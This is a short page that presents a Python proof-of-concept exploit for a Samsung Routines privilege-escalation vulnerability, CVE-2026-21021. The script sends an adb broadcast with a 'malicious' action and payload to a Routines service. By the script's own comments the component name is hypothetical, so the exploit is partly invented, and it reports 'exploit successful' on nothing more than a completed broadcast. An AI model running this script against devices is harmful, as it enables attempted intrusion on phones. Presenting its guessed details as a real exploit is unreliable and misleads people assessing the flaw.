CVE-2026-21021 Samsung Routines权限提升漏洞

# Conceptual PoC for CVE-2026-21021 # This script demonstrates how an attacker might attempt to trigger the vulnerability via ADB. # Note: This requires physical access and ADB enabled (or bypassing ADB auth). import subprocess def trigger_privileged_activity(): # Malicious intent payload targeting the vulnerable Routines component # The specific component name is hypothetical based on the vulnerability description. target_component = "com.samsung.android.routines/.service.RoutinesTriggerService" malicious_action = "com.samsung.android.routines.action.LAUNCH_PRIVILEGED" try: # Constructing the adb command to send a broadcast intent cmd = [ "adb", "shell", "am", "broadcast", "-a", malicious_action, "-n", target_component, "--es", "payload", "malicious_input" ] print("[*] Attempting to trigger vulnerability in CVE-2026-21021...") result = subprocess.run(cmd, capture_output=True, text=True) if "Broadcast completed: result=0" in result.stdout: print("[+] Potential exploit successful. Privileged activity may have started.") else: print("[-] Exploit failed or patched.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": trigger_privileged_activity()